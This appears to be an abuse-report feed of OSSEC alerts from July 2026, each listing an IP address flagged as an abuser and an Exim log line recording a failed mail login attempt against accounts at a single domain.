2026-07-14 00:09:30 dovecot_login authenticator failed for H=([49.124.148.5]) [103.168.241.32]:46374: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-14 00:15:00 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [144.24.209.174]:50792: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-14 00:15:14 dovecot_login authenticator failed for H=(ip184-182-240-1.mc.at.cox.net) [59.145.160.134]:57808: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-14 00:15:34 dovecot_login authenticator failed for H=([61.145.56.3]) [63.78.215.208]:58766: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-14 00:17:20 dovecot_login authenticator failed for H=([72.207.113.126]) [206.62.136.109]:50556: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-14 00:17:40 dovecot_login authenticator failed for H=([49.125.201.69]) [31.171.125.179]:40800: 535 Incorrect authentication data (set_id=uaeindiab2b)


